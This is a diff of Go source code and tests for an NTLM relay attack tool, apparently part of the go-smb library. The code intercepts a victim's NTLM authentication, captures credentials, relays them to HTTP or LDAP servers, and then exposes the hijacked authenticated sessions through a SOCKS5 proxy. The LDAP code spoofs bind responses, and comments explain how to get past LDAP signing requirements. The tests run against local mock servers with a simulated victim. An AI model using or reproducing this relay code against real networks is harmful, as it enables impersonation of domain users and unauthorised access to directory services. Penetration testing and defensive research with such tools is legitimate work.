||||
}
|
||||
|
||||
resp, err := p.forwardOne(req, body)
|
||||
if err != nil {
|
||||
p.Logger.Debugf("forward to %s: %v", p.Target, err)
|
||||
p.Upstream.MarkDead()
|
||||
return fmt.Errorf("forward to %s: %w", p.Target, err)
|
||||
}
|
||||
p.Logger.Debugf("upstream %s -> %d", p.Target, resp.StatusCode)
|
||||
|
||||
// Pipe response back to local. Strip hop-by-hop / NTLM headers that
|
||||
// would otherwise leak the upstream auth state.
|
||||
for _, h := range hopByHopHeaders {
|
||||
resp.Header.Del(h)
|
||||
}
|
||||
resp.Header.Del("WWW-Authenticate")
|
||||
|
||||
if err := writeResponse(p.Local, resp); err != nil {
|
||||
resp.Body.Close()
|
||||
return fmt.Errorf("write response: %w", err)
|
||||
}
|
||||
resp.Body.Close()
|
||||
p.Upstream.Touch()
|
||||
|
||||
if req.Close || strings.EqualFold(req.Header.Get("Connection"), "close") {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// forwardOne sends one request/body over the pinned upstream socket and
|
||||
// returns the response. Holds Upstream.HTTP.mu for the round-trip so multiple
|
||||
// SOCKS clients on the same pooled session don't interleave.
|
||||
//
|
||||
// The request is serialized manually rather than via http.Request.Write so
|
||||
// the inbound request's headers pass through verbatim (Authorization is
|
||||
// already stripped earlier in Run) and we control framing for the pinned
|
||||
// keepalive socket.
|
||||
func (p *HTTPPassthrough) forwardOne(req *http.Request, body []byte) (*http.Response, error) {
|
||||
p.Upstream.mu.Lock()
|
||||
defer p.Upstream.mu.Unlock()
|
||||
p.Upstream.HTTP.Lock()
|
||||
defer p.Upstream.HTTP.Unlock()
|
||||
|
||||
path := req.URL.RequestURI()
|
||||
if path == "" {
|
||||
path = "/"
|
||||
}
|
||||
hdr := &bytes.Buffer{}
|
||||
fmt.Fprintf(hdr, "%s %s HTTP/1.1\r\n", req.Method, path)
|
||||
fmt.Fprintf(hdr, "Host: %s\r\n", req.Host)
|
||||
// Drop existing Content-Length / Transfer-Encoding; we re-emit based on
|
||||
// the buffered body length.
|
||||
req.Header.Del("Content-Length")
|
||||
req.Header.Del("Transfer-Encoding")
|
||||
if err := req.Header.WriteSubset(hdr, nil); err != nil {
|
||||
return nil, fmt.Errorf("write headers: %w", err)
|
||||
}
|
||||
fmt.Fprintf(hdr, "Content-Length: %d\r\n", len(body))
|
||||
fmt.Fprintf(hdr, "Connection: Keep-Alive\r\n")
|
||||
hdr.WriteString("\r\n")
|
||||
|
||||
if _, err := p.Upstream.HTTP.conn.Write(hdr.Bytes()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(body) > 0 {
|
||||
if _, err := p.Upstream.HTTP.conn.Write(body); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
resp, err := http.ReadResponse(p.Upstream.HTTP.reader, req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// writeBadGatewayAndClose emits a minimal 502 to Local and returns nil.
|
||||
func (p *HTTPPassthrough) writeBadGatewayAndClose(msg string) error {
|
||||
body := []byte(msg + "\r\n")
|
||||
hdr := fmt.Sprintf("HTTP/1.1 502 Bad Gateway\r\nContent-Length: %d\r\nConnection: close\r\n\r\n", len(body))
|
||||
if _, err := p.Local.Write([]byte(hdr)); err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = p.Local.Write(body)
|
||||
return nil
|
||||
}
|
||||
|
||||
// writeResponse serializes an *http.Response onto the supplied writer in
|
||||
// HTTP/1.1 wire format. Sends Content-Length when known; falls back to
|
||||
// streamed chunked for unknown length.
|
||||
func writeResponse(w net.Conn, resp *http.Response) error {
|
||||
// http.Response.Write writes the response in wire format including
|
||||
// Status line and body. Use it directly.
|
||||
return resp.Write(w)
|
||||
}
|
||||
|
||||
// hopByHopHeaders is the standard RFC 7230 §6.1 hop-by-hop list. Strip from
|
||||
// responses we proxy back to the SOCKS client.
|
||||
var hopByHopHeaders = []string{
|
||||
"Connection",
|
||||
"Keep-Alive",
|
||||
"Proxy-Authenticate",
|
||||
"Proxy-Authorization",
|
||||
"TE",
|
||||
"Trailer",
|
||||
"Transfer-Encoding",
|
||||
"Upgrade",
|
||||
}
|
||||
|
||||
// upstreamHostHeader returns the Host header value to send upstream. If the
|
||||
// upstream port is the scheme default (80/443), the bare host is returned;
|
||||
// otherwise host:port.
|
||||
func upstreamHostHeader(target string, isTLS bool) string {
|
||||
host, port, err := net.SplitHostPort(target)
|
||||
if err != nil {
|
||||
return target
|
||||
}
|
||||
defaultPort := "80"
|
||||
if isTLS {
|
||||
defaultPort = "443"
|
||||
}
|
||||
if port == defaultPort {
|
||||
return host
|
||||
}
|
||||
return host + ":" + port
|
||||
}
|
||||
@@ -0,0 +1,412 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay_test
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/relay"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// ntlmHTTPUpstream is a tiny NTLM-accepting HTTP server used in HTTP relay
|
||||
// tests. It mimics IIS: bare 401+WWW-Authenticate:NTLM with no payload to
|
||||
// prompt the client, then the standard 3-leg dance keyed by *http.Server's
|
||||
// per-connection state. Once authenticated, requests on the same TCP
|
||||
// connection return 200 with the configured protected payload (no further
|
||||
// auth required).
|
||||
type ntlmHTTPUpstream struct {
|
||||
t *testing.T
|
||||
listener net.Listener
|
||||
srv *http.Server
|
||||
expectedUser string
|
||||
expectedDomain string
|
||||
protectedBody []byte
|
||||
|
||||
mu sync.Mutex
|
||||
states map[net.Conn]*ntlmHTTPState
|
||||
|
||||
authedConns atomic.Int32
|
||||
}
|
||||
|
||||
type ntlmHTTPState struct {
|
||||
server *ntlmssp.Server
|
||||
authed bool
|
||||
}
|
||||
|
||||
func newNtlmHTTPUpstream(t *testing.T, expectedUser, expectedDomain string, body []byte) *ntlmHTTPUpstream {
|
||||
t.Helper()
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen upstream: %v", err)
|
||||
}
|
||||
up := &ntlmHTTPUpstream{
|
||||
t: t,
|
||||
listener: ln,
|
||||
expectedUser: expectedUser,
|
||||
expectedDomain: expectedDomain,
|
||||
protectedBody: body,
|
||||
states: map[net.Conn]*ntlmHTTPState{},
|
||||
}
|
||||
up.srv = &http.Server{
|
||||
Handler: http.HandlerFunc(up.handle),
|
||||
ConnContext: func(ctx context.Context, c net.Conn) context.Context {
|
||||
return context.WithValue(ctx, upstreamConnKey{}, c)
|
||||
},
|
||||
ConnState: func(c net.Conn, s http.ConnState) {
|
||||
if s == http.StateClosed {
|
||||
up.mu.Lock()
|
||||
delete(up.states, c)
|
||||
up.mu.Unlock()
|
||||
}
|
||||
},
|
||||
}
|
||||
go func() {
|
||||
_ = up.srv.Serve(ln)
|
||||
}()
|
||||
return up
|
||||
}
|
||||
|
||||
type upstreamConnKey struct{}
|
||||
|
||||
func (u *ntlmHTTPUpstream) Addr() string {
|
||||
return u.listener.Addr().String()
|
||||
}
|
||||
|
||||
func (u *ntlmHTTPUpstream) Stop() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Second)
|
||||
defer cancel()
|
||||
_ = u.srv.Shutdown(ctx)
|
||||
}
|
||||
|
||||
func (u *ntlmHTTPUpstream) handle(w http.ResponseWriter, r *http.Request) {
|
||||
c, _ := r.Context().Value(upstreamConnKey{}).(net.Conn)
|
||||
u.mu.Lock()
|
||||
st := u.states[c]
|
||||
u.mu.Unlock()
|
||||
|
||||
auth := r.Header.Get("Authorization")
|
||||
if auth == "" {
|
||||
// Already authenticated on this conn — serve content.
|
||||
if st != nil && st.authed {
|
||||
w.Header().Set("Content-Length", fmt.Sprint(len(u.protectedBody)))
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write(u.protectedBody)
|
||||
return
|
||||
}
|
||||
w.Header().Set("WWW-Authenticate", "NTLM")
|
||||
w.Header().Set("Connection", "Keep-Alive")
|
||||
w.Header().Set("Content-Length", "0")
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
if !strings.HasPrefix(strings.ToLower(auth), "ntlm ") {
|
||||
http.Error(w, "bad scheme", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
token, err := base64.StdEncoding.DecodeString(strings.TrimSpace(auth[5:]))
|
||||
if err != nil || len(token) < 12 || string(token[:7]) != "NTLMSSP" {
|
||||
http.Error(w, "bad payload", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
switch token[8] {
|
||||
case 0x01: // NEGOTIATE
|
||||
srv := &ntlmssp.Server{
|
||||
TargetName: "UPSTREAM",
|
||||
NetBIOSName: "UPSTREAM",
|
||||
NetBIOSDomain: u.expectedDomain,
|
||||
}
|
||||
ch, err := srv.AcceptNegotiate(token)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
u.mu.Lock()
|
||||
u.states[c] = &ntlmHTTPState{server: srv}
|
||||
u.mu.Unlock()
|
||||
w.Header().Set("WWW-Authenticate", "NTLM "+base64.StdEncoding.EncodeToString(ch))
|
||||
w.Header().Set("Connection", "Keep-Alive")
|
||||
w.Header().Set("Content-Length", "0")
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
|
||||
case 0x03: // AUTHENTICATE
|
||||
if st == nil || st.server == nil {
|
||||
http.Error(w, "no NEGOTIATE first", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
auth, err := st.server.AcceptAuthenticate(token)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
// Cheap check: we just verify the asserted user/domain match what we
|
||||
// expect — relay tests aren't testing NTLM hash validation here.
|
||||
user, _ := utf16ToString(auth.UserName)
|
||||
domain, _ := utf16ToString(auth.DomainName)
|
||||
if user != u.expectedUser || domain != u.expectedDomain {
|
||||
w.WriteHeader(http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
st.authed = true
|
||||
u.authedConns.Add(1)
|
||||
w.Header().Set("Content-Length", fmt.Sprint(len(u.protectedBody)))
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write(u.protectedBody)
|
||||
|
||||
default:
|
||||
http.Error(w, "bad ntlm type", http.StatusBadRequest)
|
||||
}
|
||||
}
|
||||
|
||||
// utf16ToString reads a NTLMSSP UTF-16LE field into Go string.
|
||||
func utf16ToString(b []byte) (string, error) {
|
||||
if len(b)%2 != 0 {
|
||||
return "", fmt.Errorf("odd utf16 length")
|
||||
}
|
||||
out := make([]rune, 0, len(b)/2)
|
||||
for i := 0; i < len(b); i += 2 {
|
||||
out = append(out, rune(uint16(b[i])|uint16(b[i+1])<<8))
|
||||
}
|
||||
return string(out), nil
|
||||
}
|
||||
|
||||
// driveHTTPNTLMVictim performs the 3-leg NTLM-over-HTTP exchange as a victim
|
||||
// client would, against the supplied relay HTTP listener. Returns the final
|
||||
// status code (always 401 for capture-and-drop).
|
||||
func driveHTTPNTLMVictim(t *testing.T, listenerAddr, user, password, domain string) int {
|
||||
t.Helper()
|
||||
c, err := net.DialTimeout("tcp", listenerAddr, 2*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("dial relay: %v", err)
|
||||
}
|
||||
defer c.Close()
|
||||
r := bufio.NewReader(c)
|
||||
|
||||
// Leg 1: build NEGOTIATE via ntlmssp.Client.
|
||||
cl := &ntlmssp.Client{
|
||||
Workstation: "VICTIM",
|
||||
Domain: domain,
|
||||
User: user,
|
||||
Password: password,
|
||||
}
|
||||
neg, err := cl.Negotiate()
|
||||
if err != nil {
|
||||
t.Fatalf("ntlm Negotiate: %v", err)
|
||||
}
|
||||
|
||||
// Send GET / with the NEGOTIATE.
|
||||
req := fmt.Sprintf("GET / HTTP/1.1\r\nHost: relay\r\nConnection: Keep-Alive\r\nAuthorization: NTLM %s\r\nContent-Length: 0\r\n\r\n",
|
||||
base64.StdEncoding.EncodeToString(neg))
|
||||
if _, err := c.Write([]byte(req)); err != nil {
|
||||
t.Fatalf("write neg: %v", err)
|
||||
}
|
||||
resp, err := http.ReadResponse(r, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read challenge: %v", err)
|
||||
}
|
||||
_, _ = io.Copy(io.Discard, resp.Body)
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode != 401 {
|
||||
t.Fatalf("leg1 status = %d, want 401", resp.StatusCode)
|
||||
}
|
||||
wa := resp.Header.Get("WWW-Authenticate")
|
||||
if !strings.HasPrefix(strings.ToLower(wa), "ntlm ") {
|
||||
t.Fatalf("leg1 WWW-Authenticate = %q", wa)
|
||||
}
|
||||
chBytes, err := base64.StdEncoding.DecodeString(strings.TrimSpace(wa[5:]))
|
||||
if err != nil {
|
||||
t.Fatalf("decode challenge: %v", err)
|
||||
}
|
||||
|
||||
// Leg 2: NTLM client produces AUTHENTICATE.
|
||||
authMsg, err := cl.Authenticate(chBytes)
|
||||
if err != nil {
|
||||
t.Fatalf("ntlm Authenticate: %v", err)
|
||||
}
|
||||
req = fmt.Sprintf("GET / HTTP/1.1\r\nHost: relay\r\nConnection: Keep-Alive\r\nAuthorization: NTLM %s\r\nContent-Length: 0\r\n\r\n",
|
||||
base64.StdEncoding.EncodeToString(authMsg))
|
||||
if _, err := c.Write([]byte(req)); err != nil {
|
||||
t.Fatalf("write auth: %v", err)
|
||||
}
|
||||
resp, err = http.ReadResponse(r, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read final: %v", err)
|
||||
}
|
||||
_, _ = io.Copy(io.Discard, resp.Body)
|
||||
resp.Body.Close()
|
||||
return resp.StatusCode
|
||||
}
|
||||
|
||||
// TestHTTPRelayEndToEnd boots a mock NTLM HTTP upstream, starts a RelayServer
|
||||
// with an HTTP listener pointed at it, drives an inbound NTLM exchange, and
|
||||
// verifies that:
|
||||
// - the upstream HTTP session gets pooled
|
||||
// - OnCredentialCaptured fires with the captured user/domain
|
||||
// - the upstream accepted the relayed auth (200 was returned to the relay)
|
||||
// - a SOCKS5 client can fetch /content through the proxy without
|
||||
// authenticating, and the response body matches the upstream's content
|
||||
func TestHTTPRelayEndToEnd(t *testing.T) {
|
||||
const (
|
||||
user = "alice"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
)
|
||||
upstreamBody := []byte("relay-served from upstream\n")
|
||||
up := newNtlmHTTPUpstream(t, user, domain, upstreamBody)
|
||||
defer up.Stop()
|
||||
|
||||
var (
|
||||
credsMu sync.Mutex
|
||||
creds []*relay.Credential
|
||||
)
|
||||
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
SocksAddr: "127.0.0.1:0",
|
||||
HTTPListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"http://" + up.Addr()},
|
||||
OnCredentialCaptured: func(_ *server.Conn, c *relay.Credential) {
|
||||
credsMu.Lock()
|
||||
creds = append(creds, c)
|
||||
credsMu.Unlock()
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("RelayServer.Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
|
||||
relayAddr := rs.HTTPAddr().(*net.TCPAddr).String()
|
||||
socksAddr := rs.SocksAddr().(*net.TCPAddr).String()
|
||||
|
||||
// Drive an inbound NTLM-over-HTTP exchange. The relay returns 401 to the
|
||||
// victim regardless (capture-and-drop); we just want the upstream
|
||||
// session pooled.
|
||||
if status := driveHTTPNTLMVictim(t, relayAddr, user, password, domain); status != 401 {
|
||||
t.Errorf("victim final status = %d, want 401", status)
|
||||
}
|
||||
|
||||
if !waitFor(2*time.Second, func() bool { return len(rs.Snapshot()) >= 1 }) {
|
||||
t.Fatalf("HTTP upstream session never pooled (have %d)", len(rs.Snapshot()))
|
||||
}
|
||||
|
||||
credsMu.Lock()
|
||||
if len(creds) == 0 {
|
||||
credsMu.Unlock()
|
||||
t.Fatalf("OnCredentialCaptured never fired")
|
||||
}
|
||||
gotCred := creds[0]
|
||||
credsMu.Unlock()
|
||||
if gotCred.Username != user || gotCred.Domain != domain {
|
||||
t.Errorf("captured cred = %s\\%s, want %s\\%s", gotCred.Domain, gotCred.Username, domain, user)
|
||||
}
|
||||
if up.authedConns.Load() == 0 {
|
||||
t.Errorf("upstream never saw a successful AUTHENTICATE")
|
||||
}
|
||||
|
||||
// SOCKS5 fetch through the pooled session.
|
||||
conn, err := socks5Connect(socksAddr, up.Addr())
|
||||
if err != nil {
|
||||
t.Fatalf("socks5 connect: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
host, _, _ := net.SplitHostPort(up.Addr())
|
||||
_, port, _ := net.SplitHostPort(up.Addr())
|
||||
getReq := fmt.Sprintf("GET /content HTTP/1.1\r\nHost: %s:%s\r\nConnection: close\r\n\r\n", host, port)
|
||||
if _, err := conn.Write([]byte(getReq)); err != nil {
|
||||
t.Fatalf("write GET: %v", err)
|
||||
}
|
||||
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read GET reply: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != 200 {
|
||||
t.Errorf("SOCKS-fronted GET status = %d, want 200", resp.StatusCode)
|
||||
}
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
t.Fatalf("read body: %v", err)
|
||||
}
|
||||
if string(body) != string(upstreamBody) {
|
||||
t.Errorf("SOCKS-fronted GET body = %q, want %q", body, upstreamBody)
|
||||
}
|
||||
}
|
||||
|
||||
// TestHTTPForwarderHandshake covers the forwarder against the mock upstream
|
||||
// without any relay scaffolding — useful as a thin sanity check that the
|
||||
// outbound NTLM-over-HTTP plumbing produces a successful exchange when fed
|
||||
// the same NTLMSSP messages we would relay.
|
||||
func TestHTTPForwarderHandshake(t *testing.T) {
|
||||
const (
|
||||
user = "bob"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
)
|
||||
up := newNtlmHTTPUpstream(t, user, domain, []byte("ok"))
|
||||
defer up.Stop()
|
||||
|
||||
// Drive an NTLM client to obtain a valid NEGOTIATE + AUTHENTICATE pair.
|
||||
// Then run those messages through the HTTPListener end-to-end via the
|
||||
// public flow: easier to just go through the listener.
|
||||
rs := &relay.RelayServer{
|
||||
Config: relay.ServerConfig{
|
||||
HTTPListenAddr: "127.0.0.1:0",
|
||||
Targets: []string{"http://" + up.Addr()},
|
||||
},
|
||||
}
|
||||
if err := rs.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer func() {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
_ = rs.Shutdown(ctx)
|
||||
}()
|
||||
|
||||
if status := driveHTTPNTLMVictim(t, rs.HTTPAddr().String(), user, password, domain); status != 401 {
|
||||
t.Errorf("victim final status = %d, want 401", status)
|
||||
}
|
||||
if !waitFor(2*time.Second, func() bool { return up.authedConns.Load() >= 1 }) {
|
||||
t.Fatalf("upstream never saw AUTHENTICATE")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,248 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
ber "github.com/go-asn1-ber/asn1-ber"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// upstreamReadTimeout bounds how long a single forwarded LDAP request waits
|
||||
// for the upstream to respond. With NTLM relay onto plain LDAP, AD with its
|
||||
// default "Require signing" policy silently discards every post-bind message
|
||||
// because the relay can't sign without the inbound's session keys. The
|
||||
// pinned socket appears alive at the TCP layer but produces no response — so
|
||||
// without a deadline we'd hang forever. 30s is generous enough for slow
|
||||
// searches and short enough to fail fast on the signing-required drop.
|
||||
//
|
||||
// The ldap:// path defaults to a StartTLS upgrade (see ldapForwarder.dialUpstream)
|
||||
// which sidesteps this drop entirely — AD treats TLS-wrapped channels as
|
||||
// equivalent to signed, so post-bind messages flow normally. The 30s bound
|
||||
// remains in place for the residual fallback case where StartTLS was either
|
||||
// disabled or rejected by the upstream.
|
||||
var upstreamReadTimeout = 30 * time.Second
|
||||
|
||||
// LDAP application tags used by the passthrough's state machine. Continuation
|
||||
// tags (SearchResultEntry, SearchResultReference, IntermediateResponse) mean
|
||||
// "more responses follow for this messageID"; everything else terminates the
|
||||
// per-request exchange.
|
||||
const (
|
||||
ldapAppUnbindRequest ber.Tag = 2
|
||||
ldapAppSearchResEntry ber.Tag = 4
|
||||
ldapAppSearchResRef ber.Tag = 19
|
||||
ldapAppIntermediateResponse ber.Tag = 25
|
||||
)
|
||||
|
||||
// LDAPPassthrough bridges a SOCKS-side LDAP client onto a pre-bound upstream
|
||||
// LDAP connection. BindRequests from the client are answered with a synthetic
|
||||
// success response (the upstream is already bound as the relayed victim and
|
||||
// can only be bound once); UnbindRequest is dropped (forwarding it would tear
|
||||
// down the pinned upstream). Every other LDAP operation is forwarded
|
||||
// verbatim, with MessageID translation between the local and upstream
|
||||
// counters.
|
||||
//
|
||||
// The passthrough holds Upstream.mu for the lifetime of the conversation so
|
||||
// concurrent SOCKS clients aiming at the same upstream serialize cleanly.
|
||||
type LDAPPassthrough struct {
|
||||
Local net.Conn
|
||||
Target string // upstream "host:port"
|
||||
Upstream *pooledSession
|
||||
Resolve func(target string) *pooledSession
|
||||
Logger server.Logger
|
||||
}
|
||||
|
||||
// Run drives the local conversation until Local closes (clean EOF), the
|
||||
// client sends UnbindRequest, or the upstream errors.
|
||||
func (p *LDAPPassthrough) Run(ctx context.Context) error {
|
||||
if p.Logger == nil {
|
||||
p.Logger = log
|
||||
}
|
||||
if p.Upstream == nil && p.Resolve != nil {
|
||||
p.Upstream = p.Resolve(p.Target)
|
||||
}
|
||||
if p.Upstream == nil || p.Upstream.LDAP == nil {
|
||||
return fmt.Errorf("no pooled LDAP session for %s", p.Target)
|
||||
}
|
||||
up := p.Upstream.LDAP
|
||||
p.Logger.Debugf("starting for target=%s", p.Target)
|
||||
|
||||
// Single-conversation serialization. Holding the pool entry's mu prevents
|
||||
// two SOCKS clients from interleaving on the same upstream.
|
||||
p.Upstream.mu.Lock()
|
||||
defer p.Upstream.mu.Unlock()
|
||||
p.Logger.Debugf("locked pool entry, awaiting local LDAP request")
|
||||
|
||||
for {
|
||||
req, err := ber.ReadPacket(p.Local)
|
||||
if err != nil {
|
||||
p.Logger.Debugf("local read returned err=%v — closing", err)
|
||||
return nil
|
||||
}
|
||||
localID, opTag, err := parseLDAPMessage(req)
|
||||
if err != nil {
|
||||
p.Logger.Debugf("parse local message: %v", err)
|
||||
return fmt.Errorf("parse local message: %w", err)
|
||||
}
|
||||
p.Logger.Debugf("local id=%d opTag=%d", localID, opTag)
|
||||
|
||||
switch opTag {
|
||||
case ber.Tag(ldapAppBindRequest):
|
||||
if err := p.spoofBindSuccess(localID); err != nil {
|
||||
p.Logger.Debugf("spoof write err=%v", err)
|
||||
return fmt.Errorf("spoof BindResponse: %w", err)
|
||||
}
|
||||
p.Logger.Debugf("spoofed BindResponse id=%d", localID)
|
||||
continue
|
||||
case ber.Tag(ldapAppUnbindRequest):
|
||||
p.Logger.Debugf("local Unbind — closing tunnel, upstream stays")
|
||||
return nil
|
||||
}
|
||||
|
||||
upstreamID := up.allocMessageID()
|
||||
if err := rewriteMessageID(req, upstreamID); err != nil {
|
||||
return fmt.Errorf("rewrite messageID: %w", err)
|
||||
}
|
||||
if _, err := up.conn.Write(req.Bytes()); err != nil {
|
||||
p.Logger.Debugf("upstream write err=%v — marking dead", err)
|
||||
p.Upstream.MarkDead()
|
||||
return fmt.Errorf("write to upstream: %w", err)
|
||||
}
|
||||
p.Logger.Debugf("forwarded local id=%d as upstream id=%d", localID, upstreamID)
|
||||
|
||||
for {
|
||||
if err := up.conn.SetReadDeadline(time.Now().Add(upstreamReadTimeout)); err != nil {
|
||||
p.Logger.Debugf("SetReadDeadline err=%v", err)
|
||||
}
|
||||
resp, err := ber.ReadPacket(up.conn)
|
||||
// Clear the deadline so the bind path / next iteration starts
|
||||
// fresh — and so a stale deadline can't poison later use.
|
||||
_ = up.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
p.Upstream.MarkDead()
|
||||
if isTimeout(err) {
|
||||
p.Logger.Debugf("upstream silent for %s — likely LDAP signing required (plain ldap:// + NTLM); use ldaps://", upstreamReadTimeout)
|
||||
return fmt.Errorf("upstream LDAP did not respond within %s — DC likely requires LDAP signing on plain ldap:// (NTLM relay cannot sign without the victim's session keys); switch the target to ldaps://", upstreamReadTimeout)
|
||||
}
|
||||
p.Logger.Debugf("upstream read err=%v — marking dead", err)
|
||||
return fmt.Errorf("read upstream response: %w", err)
|
||||
}
|
||||
_, respTag, perr := parseLDAPMessage(resp)
|
||||
if perr != nil {
|
||||
return fmt.Errorf("parse upstream response: %w", perr)
|
||||
}
|
||||
if err := rewriteMessageID(resp, localID); err != nil {
|
||||
return fmt.Errorf("rewrite response messageID: %w", err)
|
||||
}
|
||||
if _, err := p.Local.Write(resp.Bytes()); err != nil {
|
||||
p.Logger.Debugf("local write err=%v — closing", err)
|
||||
return nil
|
||||
}
|
||||
p.Logger.Debugf("relayed upstream response opTag=%d to local id=%d", respTag, localID)
|
||||
if !isLDAPContinuation(respTag) {
|
||||
break
|
||||
}
|
||||
}
|
||||
p.Upstream.Touch()
|
||||
}
|
||||
}
|
||||
|
||||
// parseLDAPMessage extracts (messageID, protocolOpTag) from an LDAPMessage
|
||||
// envelope. Returns an error if the envelope is malformed.
|
||||
func parseLDAPMessage(env *ber.Packet) (int64, ber.Tag, error) {
|
||||
if env == nil || len(env.Children) < 2 {
|
||||
return 0, 0, fmt.Errorf("not a SEQUENCE of two children")
|
||||
}
|
||||
idChild := env.Children[0]
|
||||
id, ok := idChild.Value.(int64)
|
||||
if !ok {
|
||||
return 0, 0, fmt.Errorf("messageID: unexpected type %T", idChild.Value)
|
||||
}
|
||||
op := env.Children[1]
|
||||
if op.ClassType != ber.ClassApplication {
|
||||
return 0, 0, fmt.Errorf("protocolOp not application class (got %d)", op.ClassType)
|
||||
}
|
||||
return id, op.Tag, nil
|
||||
}
|
||||
|
||||
// rewriteMessageID replaces the MessageID child (Children[0]) with a fresh
|
||||
// INTEGER packet carrying newID. Both the Value and the encoded Data of the
|
||||
// envelope are kept in sync so the subsequent Bytes() emit the new ID on the
|
||||
// wire.
|
||||
func rewriteMessageID(env *ber.Packet, newID int64) error {
|
||||
